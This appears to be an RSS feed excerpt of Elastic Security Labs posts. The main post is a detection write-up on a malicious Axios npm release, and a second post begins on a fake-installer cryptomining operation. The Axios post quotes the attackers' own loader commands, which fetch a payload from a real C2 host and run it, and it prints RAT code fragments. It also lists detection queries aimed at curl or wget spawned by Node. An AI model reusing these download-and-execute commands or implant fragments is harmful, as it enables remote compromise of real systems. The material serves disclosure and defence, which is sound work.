</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.elastic.co/kr/security-labs/axios-supply-chain-compromise-detections">https://www.elastic.co/kr/security-labs/axios-supply-chain-compromise-detections</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/kr/security-labs/assets/images/axios-one-rat-to-rule-them-all/axios-one-rat-to-rule-them-all.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[Elastic releases detections for the Axios supply chain compromise]]></title>
            <link>https://www.elastic.co/kr/security-labs/axios-supply-chain-compromise-detections</link>
            <guid>axios-supply-chain-compromise-detections</guid>
            <pubDate>Wed, 01 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Hunting and detection rules for the Elastic-discovered Axios supply chain compromise.]]></description>
            <content:encoded><![CDATA[<blockquote>
<p>Elastic Security Labs is releasing an initial triage and detection rules for the Axios supply-chain compromise. We have <a href="https://www.elastic.co/kr/security-labs/axios-one-rat-to-rule-them-all">released a detailed analysis</a> on the Axios compromise RAT and payloads.</p>
</blockquote>
<blockquote>
<p>Elastic Security Labs filed a GitHub Security Advisory to the axios repository on March 31, 2026 at 01:50 AM UTC to coordinate disclosure and ensure the maintainers and npm registry could act on the compromised versions.</p>
</blockquote>
<h2>Introduction</h2>
<p>We are currently tracking a supply chain attack involving malicious Axios package versions that introduce a secondary dependency used for post-install execution. Rather than embedding malicious logic directly into the primary package, the attacker leveraged a transitive dependency to trigger execution during installation and deploy a cross-platform payload.</p>
<p>Elastic observed consistent execution patterns across impacted systems immediately after <code>npm install</code> of the malicious Axios versions (<code>1.14.1</code>, <code>0.30.4</code>). The added dependency (<code>plain-crypto-js@4.2.1</code>) executed during <code>postinstall</code> and was quickly followed by a second-stage payload.</p>
<p>Across Linux, Windows, and macOS, the activity followed the same structure:</p>
<pre><code>node (npm install)
  → OS-native execution (sh / cscript / osascript)
    → remote payload retrieval
      → backgrounded or hidden execution of stage 2
</code></pre>
<p>This results in a small but high-signal window where:</p>
<ul>
<li><code>node</code> spawns a shell or interpreter</li>
<li>a remote payload is fetched</li>
<li>execution is detached from the original process</li>
</ul>
<p>Elastic detections triggered reliably on this behavior across platforms, providing strong coverage of the delivery stage.</p>
<h2>How Elastic Detects the Supply Chain Attack</h2>
<p>This activity consistently appears in process telemetry as a Node.js process spawning an OS-native execution path to retrieve and execute a remote payload, often in a detached or hidden context. Elastic detections focus on this behavior rather than static indicators, providing reliable coverage of the delivery stage across platforms.</p>
<h3>Linux</h3>
<p>The Linux execution path is the cleanest place to start, because the malware does very little to hide what it is doing. We observed that the delivery stage produced exactly the kind of process ancestry you would expect from a compromised dependency:</p>
<pre><code>node → /bin/sh -c curl -o /tmp/ld.py ... &amp;&amp; nohup python3 /tmp/ld.py ... &amp;
</code></pre>
<p>Which shows up as follows:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/axios-supply-chain-compromise-detections/image6.png" alt="Elastic alerts triggering on backdoor execution" /></p>
<p>The initial signal comes from the Node.js process, handing off execution to a shell that performs a remote fetch. This is captured by the <a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/cross-platform/command_and_control_curl_wget_spawn_via_nodejs_parent.toml">Curl or Wget Spawned via</a> <a href="http://Node.js">Node.js</a> detection rule.</p>
<pre><code>event.category:process and
process.parent.name:(&quot;node&quot; or &quot;bun&quot; or &quot;node.exe&quot; or &quot;bun.exe&quot;) and 
(
  (
    process.name:(
      &quot;bash&quot; or &quot;dash&quot; or &quot;sh&quot; or &quot;tcsh&quot; or &quot;csh&quot; or  &quot;zsh&quot; or &quot;ksh&quot; or
      &quot;fish&quot; or &quot;cmd.exe&quot; or &quot;bash.exe&quot; or &quot;powershell.exe&quot;
    ) and
    process.command_line:(*curl*http* or *wget*http*)
  ) or 
  process.name:(&quot;curl&quot; or &quot;wget&quot; or &quot;curl.exe&quot; or &quot;wget.exe&quot;)
)
</code></pre>
<p>This captures the moment when the installation flow deviates from normal package behavior and begins pulling a payload over HTTP. In this case, it is the <code>curl</code> invocation that retrieves <code>/tmp/ld.py</code> from the remote server.</p>
<p>Shortly after, execution continues in the same shell, but now the focus shifts from retrieval to execution. This is picked up by <a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/linux/execution_process_backgrounded_by_unusual_parent.toml">Process Backgrounded by Unusual Parent</a>.</p>
<pre><code>event.category:process and event.type:start and
process.name:(bash or csh or dash or fish or ksh or sh or tcsh or zsh) and
process.args:(-c and *&amp;)
</code></pre>
<p>Which captures the second half of the chain:</p>
<pre><code>sh -c &quot;... &amp;&amp; nohup python3 /tmp/ld.py ... &amp;&quot;
</code></pre>
<p>The payload is launched with <code>nohup</code> and backgrounded immediately using <code>&amp;</code>, detaching it from the parent process and suppressing output. That transition from a short-lived install-time shell into a detached long-running process is where the actual implant takes over.</p>
<p>After execution, the Linux second stage is a Python-based RAT that establishes a simple polling loop to its C2. The entrypoint <code>work()</code> sends an initial <code>FirstInfo</code> message and then transitions into <code>main_work()</code>, which continuously reports host data and processes tasking:</p>
<pre><code class="language-py">while True:
    ps = print_process_list()

    data = {
        &quot;hostname&quot;: get_host_name(),
        &quot;username&quot;: get_user_name(),
        &quot;os&quot;: os,
        &quot;processList&quot;: ps
    }

    response_content = send_result(url, body)

    if response_content:
        process_request(url, uid, response_content)

    time.sleep(60)
</code></pre>
<p>On first check-in, it performs a targeted directory enumeration via <code>init_dir_info()</code> across user paths such as <code>$HOME</code>, <code>.config</code>, <code>Documents</code>, and <code>Desktop</code>, and builds a process listing directly from <code>/proc</code>, including usernames and start times.</p>
<p>Tasking is minimal but flexible. <code>runscript</code> supports arbitrary shell execution or base64-delivered Python via <code>python3 -c</code>, while <code>peinject</code> simply writes attacker-supplied bytes to a hidden file in <code>/tmp</code> and executes it:</p>
<pre><code class="language-py">file_path = f&quot;/tmp/.{generate_random_string(6)}&quot;
with open(file_path, &quot;wb&quot;) as file:
    file.write(payload)

os.chmod(file_path, 0o777)
subprocess.Popen([file_path] + shlex.split(param.decode(&quot;utf-8&quot;)))
</code></pre>
<p>This provides the operator with a lightweight access implant for periodic host profiling, command execution, and follow-on payload delivery.</p>
<p>Together, these detections provide strong coverage of the Linux delivery stage and the transition into the Python backdoor, without relying on specific filenames or hardcoded indicators:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/cross-platform/command_and_control_curl_wget_spawn_via_nodejs_parent.toml">Curl or Wget Spawned via</a> <a href="http://Node.js">Node.js</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/linux/execution_process_backgrounded_by_unusual_parent.toml">Process Backgrounded by Unusual Parent</a></li>
</ul>
<h3>Windows</h3>
<p>The Windows execution path follows the same pattern: it uses curl to download a remote PowerShell script and proxy execution via a renamed PowerShell (<code>C:\ProgramData\wt.exe</code>). The following alert shows the process chain:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/axios-supply-chain-compromise-detections/image5.png" alt="Elastic - Alert Process Tree" title="Elastic - Alert Process Tree" /></p>
<p>Where:</p>
<ul>
<li><code>wt.exe</code> is a renamed copy of <code>PowerShell.exe</code> located in <code>C:\ProgramData\wt.exe</code></li>
<li><code>curl</code> is used to retrieve a remote PowerShell script</li>
<li>execution is performed via the renamed binary</li>
</ul>
<p>We first observe the creation and use of the renamed interpreter. This is captured by <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/defense_evasion_execution_via_renamed_signed_binary_proxy.toml">Execution via Renamed Signed Binary Proxy</a>, which flags signed system binaries executed from unexpected locations.</p>
<p>Shortly after, the same binary is used to retrieve the second-stage payload over HTTP. This is picked up by <a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/windows/command_and_control_tool_transfer_via_curl.toml">Potential File Transfer via Curl for Windows</a>, capturing the network retrieval stage driven from the scripted execution chain.</p>
<p>The second stage is a PowerShell-based RAT that beacons to its C2 (<code>http[:]//sfrclak[.]com:8000/</code>) every 60 seconds over HTTP using a fake IE8 User-Agent and base64-encoded JSON.</p>
<p>It establishes persistence via <code>Run\MicrosoftUpdate</code> registry key to execute a hidden bat script <code>C:\ProgramData\system.bat:</code></p>
<p>The batch file dynamically retrieves and executes the payload in memory on login:</p>
<pre><code>
start /min powershell -w h -c &quot;
([scriptblock]::Create(
  [System.Text.Encoding]::UTF8.GetString(
    (Invoke-WebRequest -UseBasicParsing -Uri '' -Method POST -Body 'packages.npm.org/product1').Content
  )
)) ''&quot;
</code></pre>
<p>Its core capabilities include:</p>
<ul>
<li><strong>peinject</strong> - in-memory .NET assembly injection using Assembly.Load(byte[]) for process hollowing into cmd.exe.</li>
<li><strong>runscript</strong> - arbitrary PowerShell script execution via encoded commands or temp files,</li>
<li><strong>rundir</strong> - filesystem enumeration of user directories and all drive roots.</li>
</ul>
<p>On initialization, it fingerprints the host via WMI, collecting hostname, username, OS version, CPU, hardware model, timezone, boot/install times, and a full process listing, and sends an initial directory listing of Documents, Desktop, OneDrive, and AppData before entering its beacon loop.</p>
<p>The second stage triggers both the <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/persistence_startup_persistence_via_windows_script_interpreter.toml">Startup Persistence via Windows Script Interpreter</a> and <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/persistence_suspicious_string_value_written_to_registry_run_key.toml">Suspicious String Value Written to Registry Run Key</a> alerts:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/axios-supply-chain-compromise-detections/image2.png" alt="" /></p>
<p>The <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/execution_suspicious_powershell_base64_decoding.toml">Suspicious PowerShell Base64 Decoding</a> rule alert captures the PowerShell RAT script content :</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/axios-supply-chain-compromise-detections/image1.png" alt="" /></p>
<p>Taken together, these detections capture the full Windows delivery chain: from renamed binary execution, to payload retrieval, to persistence, and in-memory execution via the following behavioral detections:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/defense_evasion_execution_via_renamed_signed_binary_proxy.toml">Execution via Renamed Signed Binary Proxy</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/windows/command_and_control_tool_transfer_via_curl.toml">Potential File Transfer via Curl for Windows</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/persistence_startup_persistence_via_windows_script_interpreter.toml">Startup Persistence via Windows Script Interpreter</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/persistence_suspicious_string_value_written_to_registry_run_key.toml">Suspicious String Value Written to Registry Run Key</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/execution_suspicious_powershell_base64_decoding.toml">Suspicious PowerShell Base64 Decoding</a></li>
</ul>
<h3>macOS</h3>
<p>Analysis shows the loader writes AppleScript to a temp file, runs it via <code>osascript</code>, then downloads the second stage to a fake Apple-looking cache path and launches it through <code>/bin/zsh</code>. The key launcher looks like this:</p>
<pre><code>do shell script &quot;curl -o /Library/Caches/com.apple.act.mond \
 -d packages.npm.org/product0 \
 -s http://sfrclak.com:8000/6202033 \
 &amp;&amp; chmod 770 /Library/Caches/com.apple.act.mond \
 &amp;&amp; /bin/zsh -c \&quot;/Library/Caches/com.apple.act.mond http://sfrclak.com:8000/6202033 &amp;\&quot; \ &amp;&gt; /dev/null&quot;
</code></pre>
<p>The delivered file produced the following execution matching on the file name masquerading attempt and the self-signed code signature :</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/axios-supply-chain-compromise-detections/image3.png" alt="Elastic Defend behavior alert triggering on the macOS backdoor" title="Elastic Defend behavior alert triggering on the macOS backdoor" /></p>
<p>The payload path itself triggers the <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/defense_evasion_potential_binary_masquerading_via_invalid_code_signature.toml#L8">Potential Binary Masquerading via Invalid Code Signature</a> and <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/command_and_control_suspicious_url_as_argument_to_self_signed_binary.toml">Suspicious URL as argument to Self-Signed Binary</a> endpoint rules, as it mimics Apple naming conventions (<code>com.apple.*</code>) but does not match expected signing characteristics.</p>
<p><code>com.apple.act.mond</code> is a custom-built macOS backdoor compiled as a universal Mach-O binary (x86_64 and ARM64) using C++ and Xcode, with HTTP-based C2 communications via <code>libcurl</code> and a JSON command protocol.</p>
<p>On initial check-in, it fingerprints the host, collecting hostname, username, OS version, hardware model, timezone, and a full process listing (<code>ps -eo user,pid,command</code>), which surfaces via the <a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/execution_suspicious_xpc_service_child_process.toml#L5">Suspicious XPC Service Child Process</a> endpoint rule, capturing unexpected child process activity originating from the backdoor:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/axios-supply-chain-compromise-detections/image4.png" alt="Elastic Defend macOS alert triggering on the process enumeration from the macOS backdoor" title="Elastic Defend macOS alert triggering on the process enumeration from the macOS backdoor" /></p>
<p>The macOS backdoor facilitates:</p>
<ul>
<li>C2 connection by passing a URL directly as an argument.</li>
<li>AppleScript execution using <code>osascript</code> via temporary hidden <code>.scpt</code> files dropped to <code>/tmp/</code></li>
<li>Filesystem enumeration targeting <code>/Applications</code> and <code>~/Library/Application Support</code></li>
<li>Downloading and executing remote base64-encoded payloads.</li>
<li>Ad-hoc code signing of dropped payloads (<code>codesign --force --deep --sign - “/private/tmp/.*”</code>)  so it can run past Gatekeeper.</li>
</ul>
<p>The binary is not packed or obfuscated, ships with debug entitlements enabled, and retains developer build paths (<code>Jain_DEV/client_mac/macWebT</code>) and uses a spoofed IE8/Windows XP user-agent string (mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)).</p>
<p>These detections collectively follow the macOS delivery path from staged AppleScript execution to payload launch and post-execution behavior:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/command_and_control_suspicious_url_as_argument_to_self_signed_binary.toml">Suspicious URL as argument to Self-Signed Binary</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/defense_evasion_potential_binary_masquerading_via_invalid_code_signature.toml#L8">Potential Binary Masquerading via Invalid Code Signature</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/execution_suspicious_xpc_service_child_process.toml#L5">Suspicious XPC Service Child Process</a></li>
</ul>
<h2>Conclusion</h2>
<p>This supply chain attack highlights how little complexity is required to achieve cross-platform compromise when execution is triggered during installation.</p>
<p>Across Linux, Windows, and macOS, we consistently observed the same core pattern: a Node.js process spawning native OS execution to retrieve and launch a remote payload, followed by immediate detachment or hidden execution.</p>
<p>From a detection perspective, the key takeaway is that the most reliable signals are not in the package itself, but in what happens immediately after installation. Process ancestry, network retrieval, and detached execution provide a stable detection surface that remains effective even when payloads, filenames, or infrastructure change.</p>
<p>Elastic detections focused on this behavior provided consistent coverage of the delivery stage across all platforms, without relying on static indicators.</p>
<h2>Indicators of Compromise (IOCs)</h2>
<h3>Related Alerts</h3>
<table>
<thead>
<tr>
<th align="left">Alert</th>
<th align="left">Operating System</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/cross-platform/command_and_control_curl_wget_spawn_via_nodejs_parent.toml">Curl or Wget Spawned via</a> <a href="http://Node.js">Node.js</a></td>
<td align="left">Linux</td>
</tr>
<tr>
<td align="left"><a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/linux/execution_process_backgrounded_by_unusual_parent.toml">Process Backgrounded by Unusual Parent</a></td>
<td align="left">Linux</td>
</tr>
<tr>
<td align="left"><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/defense_evasion_execution_via_renamed_signed_binary_proxy.toml">Execution via Renamed Signed Binary Proxy</a></td>
<td align="left">Windows</td>
</tr>
<tr>
<td align="left"><a href="https://github.com/elastic/detection-rules/blob/c932ececd9c3b1257fc0350ec2dc13a1af0d6f88/rules/windows/command_and_control_tool_transfer_via_curl.toml">Potential File Transfer via Curl for Windows</a></td>
<td align="left">Windows</td>
</tr>
<tr>
<td align="left"><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/persistence_startup_persistence_via_windows_script_interpreter.toml">Startup Persistence via Windows Script Interpreter</a></td>
<td align="left">Windows</td>
</tr>
<tr>
<td align="left"><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/persistence_suspicious_string_value_written_to_registry_run_key.toml">Suspicious String Value Written to Registry Run Key</a></td>
<td align="left">Windows</td>
</tr>
<tr>
<td align="left"><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/windows/execution_suspicious_powershell_base64_decoding.toml">Suspicious PowerShell Base64 Decoding</a></td>
<td align="left">Windows</td>
</tr>
<tr>
<td align="left"><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/command_and_control_suspicious_url_as_argument_to_self_signed_binary.toml">Suspicious URL as argument to Self-Signed Binary</a></td>
<td align="left">macOS</td>
</tr>
<tr>
<td align="left"><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/defense_evasion_potential_binary_masquerading_via_invalid_code_signature.toml#L8">Potential Binary Masquerading via Invalid Code Signature</a></td>
<td align="left">macOS</td>
</tr>
<tr>
<td align="left"><a href="https://github.com/elastic/protections-artifacts/blob/278054cb0e90dca20d6fe06f63cce6600902d50d/behavior/rules/macos/execution_suspicious_xpc_service_child_process.toml#L5">Suspicious XPC Service Child Process</a></td>
<td align="left">macOS</td>
</tr>
</tbody>
</table>
<h3>Malicious Packages</h3>
<table>
<thead>
<tr>
<th>Package</th>
<th>Version</th>
<th>Hash (shasum)</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>axios</code></td>
<td><code>1.14.1</code></td>
<td><code>2553649f232204966871cea80a5d0d6adc700ca</code></td>
</tr>
<tr>
<td><code>axios</code></td>
<td><code>0.30.4</code></td>
<td><code>d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71</code></td>
</tr>
<tr>
<td><code>plain-crypto-js</code></td>
<td><code>4.2.1</code></td>
<td><code>07d889e2dadce6f3910dcbc253317d28ca61c766</code></td>
</tr>
</tbody>
</table>
<p>Additional related packages observed in the ecosystem abuse:</p>
<table>
<thead>
<tr>
<th>Package</th>
<th>Version</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>@shadanai/openclaw</code></td>
<td><code>2026.3.28-2</code>, <code>2026.3.28-3</code>, <code>2026.3.31-1</code>, <code>2026.3.31-2</code></td>
</tr>
<tr>
<td><code>@qqbrowser/openclaw-qbot</code></td>
<td><code>0.0.130</code></td>
</tr>
</tbody>
</table>
<h3>Script / Payload Hashes (SHA256)</h3>
<table>
<thead>
<tr>
<th>File</th>
<th>SHA256</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>setup.js</code></td>
<td><code>e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09</code></td>
</tr>
<tr>
<td><code>/tmp/ld.py</code></td>
<td><code>6483c004e207137385f480909d6edecf1b699087378aa91745ecba7c3394f9d7</code></td>
</tr>
<tr>
<td><code>6202033.ps1</code></td>
<td><code>ed8560c1ac7ceb6983ba995124d5917dc1a00288912387a6389296637d5f815c</code></td>
</tr>
<tr>
<td><code>system.bat</code></td>
<td><code>e49c2732fb9861548208a78e72996b9c3c470b6b562576924bcc3a9fb75bf9ff</code></td>
</tr>
<tr>
<td><code>com.apple.act.mond</code></td>
<td><code>92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a</code></td>
</tr>
</tbody>
</table>
<h3>Network Indicators</h3>
<table>
<thead>
<tr>
<th>Type</th>
<th>Indicator</th>
</tr>
</thead>
<tbody>
<tr>
<td>C2 Domain</td>
<td><code>sfrclak[.]com</code></td>
</tr>
<tr>
<td>C2 IP</td>
<td><code>142.11.206[.]73</code></td>
</tr>
<tr>
<td>C2 URL</td>
<td><code>http://sfrclak[.]com:8000/6202033</code></td>
</tr>
<tr>
<td>User-Agent</td>
<td><code>mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)</code></td>
</tr>
<tr>
<td>macOS POST body</td>
<td><code>packages[.]npm[.]org/product0</code></td>
</tr>
<tr>
<td>Windows POST body</td>
<td><code>packages[.]npm[.]org/product1</code></td>
</tr>
<tr>
<td>Linux POST body</td>
<td><code>packages[.]npm[.]org/product2</code></td>
</tr>
</tbody>
</table>
<h3>File System Indicators</h3>
<h4>Cross-platform</h4>
<table>
<thead>
<tr>
<th>Path / Artifact</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>$TMPDIR/6202033</code></td>
<td>Temporary staging artifact</td>
</tr>
<tr>
<td><code>*/node_modules/plain-crypto-js/setup.js</code></td>
<td>Node.js first-stage dropper</td>
</tr>
</tbody>
</table>
<h4>Linux</h4>
<table>
<thead>
<tr>
<th>Path</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>/tmp/ld.py</code></td>
<td>Python RAT second stage</td>
</tr>
</tbody>
</table>
<h4>Windows</h4>
<table>
<thead>
<tr>
<th>Path</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>%PROGRAMDATA%\wt.exe</code></td>
<td>Renamed <code>powershell.exe</code> (execution proxy)</td>
</tr>
<tr>
<td><code>%PROGRAMDATA%\system.bat</code></td>
<td>Persistence launcher</td>
</tr>
<tr>
<td><code>HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate</code></td>
<td>Persistence key</td>
</tr>
<tr>
<td><code>%TEMP%\6202033.vbs</code></td>
<td>VBS launcher (self-deletes)</td>
</tr>
<tr>
<td><code>%TEMP%\6202033.ps1</code></td>
<td>PowerShell payload (self-deletes)</td>
</tr>
</tbody>
</table>
<h4>macOS</h4>
<table>
<thead>
<tr>
<th>Path</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>/Library/Caches/com.apple.act.mond</code></td>
<td>Mach-O backdoor payload</td>
</tr>
<tr>
<td><code>/tmp/*.scpt</code></td>
<td>Temporary AppleScript launcher</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/kr/security-labs/assets/images/axios-supply-chain-compromise-detections/axios-supply-chain-compromise-detections.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[Fake Installers to Monero: A Multi-Tool Mining Operation]]></title>
            <link>https://www.elastic.co/kr/security-labs/fake-installers-to-monero</link>
            <guid>fake-installers-to-monero</guid>
            <pubDate>Tue, 31 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs dissects a long-running operation deploying RATs, cryptominers, and CPA fraud through fake installer lures, tracking its evolution across campaigns and Monero payouts.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>Elastic Security Labs has been tracking a financially motivated operation, designated REF1695, that has been active since at least late 2023. The operator deploys a combination of RATs, cryptominers, and custom XMRig loaders through fake installer packages. Across all observed campaigns, the infection chains share a consistent packing technique, overlapping C2 infrastructure, and common social engineering patterns, linking them to a single operator.</p>
<p>Beyond cryptomining, the threat actor monetizes infections through CPA (Cost Per Action) fraud, directing victims to content locker pages under the guise of software registration. In this report, we trace the operation's evolution across multiple campaign builds, analyze the C2 communication protocols, document a previously unreported .NET implant (CNB Bot), and track the operator's financial returns via public Monero mining pool dashboards.</p>
<h3>Key takeaways</h3>
<ul>
<li>Financially motivated campaigns have been active since late 2023, deploying various RATs and cryptominers through fake installer packages.</li>
<li>Operator monetizes infections through both cryptomining and CPABuild fraud.</li>
<li>Stages use a consistent Themida/WinLicense + .NET Reactor packing combination</li>
<li>CNB Bot is a previously undocumented .NET implant with RSA-2048 signed task authentication</li>
<li>A custom XMRig loader evades detection by killing the miner whenever analysis tools are running and deploys WinRing0x64.sys</li>
<li>Over 27.88 XMR paid out across four tracked wallets, with active workers at the time of writing</li>
<li>We leveraged a Claude-driven agentic pipeline to automate the extraction of payload stages and implant configurations</li>
</ul>
<h2>Campaign 1 (CNB Bot)</h2>
<p>The most recent campaign involves dropping CNB Bot, using an ISO file as the infection vector. The ISO image contains 2 files: a single-stage .NET Reactor-protected loader further packed with Themida/WinLicense 3.x, and a ReadMe.txt. Associated ISO samples:</p>
<ul>
<li><code>460203070b5a928390b126fcd52c15ed3a668b77536faa6f0a0282cf1c157162</code></li>
<li><code>b8b7aecce2a4d00f209b1e4d30128ba6ef0f83bbdc05127f6f8ba97e7d6df291</code></li>
<li><code>9977b9185472c7d4be22c20f93bc401dd74bb47223957015a3261994d54c59fc</code></li>
<li><code>9fa23382820b1e781f3e05e9452176a72529395643f09080777fab7b9c6b1f5c</code></li>
<li><code>27db41f654b53e41a4e1621a83f2478fa46b1bbffc1923e5070440a7d410b8d3</code></li>
</ul>
<p>The ReadMe.txt serves as a social engineering lure, framing the unsigned binary as the product of a small non-profit team that cannot afford EV code-signing, then provides explicit instructions to bypass SmartScreen via <code>&quot;More Info&quot; → &quot;Run Anyway.&quot;</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fake-installers-to-monero/image4.png" alt="ReadMe.txt lure" title="ReadMe.txt lure" /></p>
<p>Using the open-source Themida/Winlicense unpacker project, <a href="https://github.com/ergrelet/unlicense">Unlicense</a>, we automatically extracted the .NET Reactor-protected loader and then passed it through <a href="https://github.com/SychicBoy/NETReactorSlayer">NETReactorSlayer</a> for deobfuscation. The majority of campaigns were observed to use this combination of protection in both the initial and subsequent stages.</p>
<p>The loader first invokes PowerShell with <code>-WindowStyle Hidden</code>, to register broad Microsoft Defender exclusions via <code>Add-MpPreference -ExclusionPath</code> and <code>Add-MpPreference -ExclusionProcess</code>, covering the loader itself, staging directories (<code>%TEMP%</code>, <code>%LocalAppData%</code>, <code>%AppData%</code>) and a set of LOLBin process names the malware later utilizes.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fake-installers-to-monero/image10.png" alt="Setting up Microsoft Defender exclusions" title="Setting up Microsoft Defender exclusions" /></p>
<p>It then extracts an embedded .NET assembly resource and writes it to disk at <code>%TEMP%\MLPCInstallHelper.exe</code> (filename varies by build), then executes it via PowerShell. This embedded resource is a .NET Reactor-protected CNB Bot instance, discussed in detail in the <strong>Code Analysis - CNB Bot</strong> section below.</p>
<p>Since no legitimate software is installed at any point, the loader presents a fake error dialog to the user, attributing the installation failure to unmet system requirements.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fake-installers-to-monero/image13.png" alt="Fake error dialog" title="Fake error dialog" /></p>
<h2>Campaign 2 (PureRAT)</h2>
<p>Pivoting on the ReadMe.txt lure content, we discovered a campaign dropping PureRAT v3.0.1. This campaign uses a very similar initial-stage loader as campaign 1 and introduces a second-stage loader.</p>
<p>Example ISO samples employing this chain:</p>
<ul>
<li><code>7bb0e91558244bcc79b6d7a4fe9d9882f11d3a99b70e1527aac979e27165f1d7</code></li>
<li><code>c6c4a9725653b585a9d65fc90698d4610579b289bcfb2539f7a5f7e64e69f2e4</code></li>
<li><code>a3f84aa1d15fd33506157c61368fd602d0b81f69aff6c69249bf833d217308bb</code></li>
<li><code>82c03866670b70047209c39153615512f7253f125a252fe3dcd828c6598fdf86</code></li>
<li><code>542d2267b40c160b693646bc852df34cc508281c4f6ed2693b98147dae293678</code></li>
</ul>
<p>We will be using the first sample from this list as an example for our analysis.</p>
<p>The initial-stage loader applies Microsoft Defender exclusions to the same directory set (<code>%TEMP%</code>, loader path, <code>%LocalAppData%</code>, …), but process exclusions are limited to the loader executable only. The Stage 2 payload is extracted from the embedded resource to <code>%TEMP%\&lt;...&gt;InstallHelper.exe</code> and launched via hidden PowerShell <code>Start-Process</code>. Stage 2 is protected with the same Themida + .NET Reactor packing technique.</p>
<p>Stage 2 registers only process-level Microsoft Defender exclusions.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/fake-installers-to-monero/image22.png" alt="Setting up Microsoft Defender exclusions" title="Setting up Microsoft Defender exclusions" /></p>
